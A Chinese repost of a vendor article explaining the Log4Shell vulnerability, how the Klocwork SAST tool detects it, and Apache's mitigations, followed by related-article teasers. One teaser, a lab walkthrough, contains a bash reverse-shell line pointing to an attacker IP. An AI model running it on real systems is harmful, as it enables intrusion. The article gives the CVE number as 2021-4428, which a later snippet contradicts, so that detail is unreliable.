Log4Shell是什么?从Log4j漏洞说起

2024-04-22 05:48
文章标签 漏洞 log4j 说起 log4shell

本文主要是介绍Log4Shell是什么?从Log4j漏洞说起,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

在开源Apache日志记录库Log4j中已发现了一个影响使用Java的设备和应用程序的新漏洞。该漏洞被称为Log4Shell,是目前互联网上最重大的安全漏洞,其严重程度为10分(满分10分),其影响有愈演愈烈之势。幸运的是,Perforce静态分析和SAST工具——Helix QACKlocwork——可以提供帮助。

 
在这里,我们将解释Log4j漏洞是什么,提供一个Log4j示例,并解释像Klocwork这样的SAST工具如何帮助预防和检测如Log4Shell这样的漏洞。本文将包含如下内容:
 
     • Log4j是什么?
 
     • Log4Shell是什么:从Log4j漏洞说起
 
     • 哪些设备和应用程序容易受到Log4Shell的攻击?
 
     • Klocwork如何检测Log4j漏洞
 
     • 如何使用Klocwork防止Log4j漏洞


Log4j是什么?
 
Log4j是一个Java库,用于在企业应用程序(其中包括自定义应用程序、网络和许多云计算服务)中记录错误日志。
 
并且,在过去十年里为服务器和客户端应用程序开发的Java程序中,有很大一部分都使用了Log4j。


Log4Shell是什么:从Log4j漏洞说起
 
Log4Shell,又称为CVE-2021-4428,是一种影响Apache Log4j2核心功能的高严重性漏洞。该漏洞使攻击者能够实现远程代码执行。这使他们能够:
 
     • 通过受影响的设备或应用程序访问整个网络
 
     • 运行任意代码
 
     • 访问受影响的设备或应用程序上的所有数据
 
     • 删除或加密文件
 
受影响的版本,Log4j版本2 (Log4j2),包含在:
 
     • Apache Struts2
 
     • Apache Solr
 
     • Apache Druid
 
     • Apache Flink
 
     • ElasticSearch
 
     • Flume
 
     • Apache Dubbo
 
     • Logstash
 
     • Kafka
 
     • Spring-Boot-starter-log4j2
 
     • Swift frameworks


哪些设备和应用程序容易受到Log4Shell的攻击?
 
如果连接到互联网的设备运行Apache Log4j 2.0-2.14.1版本,那么它们很容易受到Log4Shell的攻击。
 
如何检测和预防最常见的软件安全漏洞

 
Log4Shell只是众多潜在的安全漏洞之一。那么我们应该如何有效检测和解决最常见的安全漏洞?


Klocwork如何检测Log4j漏洞
 
作为一个静态分析和SAST工具,Klocwork会检查您的源代码,找出可能会让您的设备或应用程序受到攻击的设计和编码缺陷,比如受污染的数据问题。Klocwork可以沿着代码中所有可能的执行路径跟踪受污染的、不受信任的或其他可疑的数据,包括Log4Shell (CVE-2021-4428)。
 
Klocwork的SV.LOG_FORGING检查项可以“开箱即用”,能够检测被传到日志记录程序中的受污染的数据。从Perforce Support处获取的一个小小的配置文件可扩展该检查项来检测Log4j漏洞。
 
此外,Klocwork还与Secure Code Warrior进行了集成,这有助于为这些类型的缺陷提供修复指导,并且提供额外的软件安全培训。Secure Code Warrior高亮显示了安全漏洞,并提供了如何修复这些错误的指导。


如何使用Klocwork防止Log4j漏洞
 
现在您已经更好地理解了Log4j漏洞是什么以及Klocwork如何识别它,下面是一个Log4j示例。此外,我们还提供了一个详细的指南,以演示Klocwork如何帮助您检测和修复这个严重的漏洞。
 
1. 使用Klocwork SV.LOG_FORGING检查项
 
要使用Klocwork的SV.LOG_FORGING检查项:请转到该应用程序的Klocwork Portal项目,添加配置文件,并确认SV.LOG_FORGING检查项已启用。
 
该扩展将Log4j方法添加到SV.LOG_FORGING的受污染数据的危险目的地列表中。这使您能够识别Log4j漏洞——Log4Shell。
 
2. 定位Log4j漏洞
 
一旦整个应用程序集成分析完成,任何错误或漏洞都会被高亮显示。
 
下面的序列高亮显示了日志伪造是如何实现的,并使攻击者能够利用日志记录来操纵它们:

 
一旦分析完成,Klocwork将在第5行报告漏洞。


3. 防止Log4j漏洞缺陷
 
Apache已经发布了Log4j 2.16的新版本,该版本不包含Log4Shell漏洞。
 
此外,如果您无法更新到最新版本,Apache也提供了解决方案来缓解Log4j漏洞。
 
In releases >=2.10, this behavior can be mitigated by setting either the system property log4j2.formatMsgNoLookups or the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true.
 
For releases from 2.0-beta9 to 2.10.0, the mitigation is to remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.


使用Klocwork阻止Log4Shell等漏洞
 
Log4Shell是一个值得关注的软件安全漏洞——不幸的是,它不是唯一一个。它只是CWE-117和OWASP A10:2017所强调的众多类型的安全漏洞的一个示例。
 
通过使用SAST工具(如Klocwork),您可以轻松地执行软件安全标准(如CWE、OWASP和CERT),以更好地检测、预防和消除软件安全漏洞(如Log4Shell)。
 
若想亲自体验Klocwork如何简单地通过尽早识别漏洞来保护您的软件,今天就点击网页右上角注册申请免费试用吧。

“原创内容,转载请标明出处”

这篇关于Log4Shell是什么?从Log4j漏洞说起的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/924953

相关文章

android两种日志获取log4j

android   log4j 加载日志使用方法; 先上图: 有两种方式: 1:直接使用架包 加载(两个都要使用); 架包:android-logging-log4j-1.0.3.jar 、log4j-1.2.15.jar  (说明:也可以使用架包:log4j-1.2.17.jar)  2:对架包输入日志的二次封装使用; 1:直接使用 log4j 日志框架获取日志信息: A:配置 日志 文

【CTF Web】BUUCTF Upload-Labs-Linux Pass-13 Writeup(文件上传+PHP+文件包含漏洞+PNG图片马)

Upload-Labs-Linux 1 点击部署靶机。 简介 upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。 注意 1.每一关没有固定的通关方法,大家不要自限思维! 2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路

log4j靶场,反弹shell

1.用vulhub靶场搭建,首先进入目录CVE-2021-44228中,docker启动命令 2.发现端口是8983,浏览器访问http://172.16.1.18:8983/ 3.用dnslog平台检测dns回显,看看有没有漏洞存在 4.反弹shell到kali(ip为172.16.1.18)的8888端口 bash -i >& /dev/tcp/172.16.1.18

Java反序列化漏洞-TemplatesImpl利用链分析

文章目录 一、前言二、正文1. 寻找利用链2. 构造POC2.1 生成字节码2.2 加载字节码1)getTransletInstance2)defineTransletClasses 2.3 创建实例 3. 完整POC 三、参考文章 一、前言 java.lang.ClassLoader#defineClass defineClass可以加载字节码,但由于defineClas

【vulhub】thinkphp5 2-rce 5.0.23-rce 5-rce 漏洞复现

2-rec 1.启动环境  cd /.../vulhub/thinkphp/2-rce # cd进入2-rce靶场文件环境下docker-compose up -d # docker-compose启动靶场docker ps -a # 查看开启的靶场信息 2.访问192.168.146.136:8080网页 3.构造payload http

【漏洞复现】赛蓝企业管理系统 GetJSFile 任意文件读取漏洞

免责声明:         本文内容旨在提供有关特定漏洞或安全漏洞的信息,以帮助用户更好地了解可能存在的风险。公布此类信息的目的在于促进网络安全意识和技术进步,并非出于任何恶意目的。阅读者应该明白,在利用本文提到的漏洞信息或进行相关测试时,可能会违反某些法律法规或服务协议。同时,未经授权地访问系统、网络或应用程序可能导致法律责任或其他严重后果。作者不对读者基于本文内容而产生的任何行为或后果承担

【网络安全】Jenkins任意文件读取漏洞及检测工具(CVE-2024-23897)

原创文章,不得转载。 文章目录 漏洞成因影响范围检测工具更多细节 漏洞成因 Jenkins CLI 接口存在任意文件读取漏洞(CVE-2024-23897)。该问题源于 args4j 库在解析文件名参数时,会将@符号后的字符串视为文件名并尝试读取文件,而且该功能默认处于启用状态。 影响范围 Jenkins weekly <= 2.441 Jenkins LTS <=

MyBatis-Plus 框架 QueryWrapper UpdateWrapper 方法修复sql注入漏洞事件

什么是漏洞? 漏洞是指软件、系统或网络中存在的安全弱点或错误,这些弱点可能导致系统遭受攻击或被不当使用。在计算机安全领域,漏洞通常源于编程错误、设计缺陷或配置失误。 对于对象关系映射(ORM)框架来说,漏洞通常指的是设计或实施中的安全问题,这些问题可能让应用程序面临SQL注入攻击的风险。 SQL 注入漏洞 如果ORM框架在执行SQL操作时没有正确过滤或转义用户输入,攻击者可以利用输入的恶意数据

XSS 漏洞检测与利用全解析:守护网络安全的关键洞察

在网络安全领域,跨站脚本攻击(XSS)是一种常见的安全漏洞。XSS 漏洞可以让攻击者在受害者的浏览器中执行恶意脚本,从而窃取用户的敏感信息、篡改页面内容或者进行其他恶意操作。本文将介绍 XSS 漏洞的检测和利用方法。 一、XSS 漏洞的概念和类型 (一)概念 跨站脚本攻击(XSS)是指攻击者在网页中注入恶意脚本,当用户访问该网页时,恶意脚本在用户的浏览器中执行,从而达到攻击的目的。 (

打通实时流处理log4j-flume-kafka-structured-streaming

大数据技术与架构 点击右侧关注,大数据开发领域最强公众号! 暴走大数据 点击右侧关注,暴走大数据! 模拟产生log4j日志 jar包依赖 pom.xml 12345678910111213<dependency><groupId>log4j</groupId><artifactId>log4j</artifactId></dependency><depe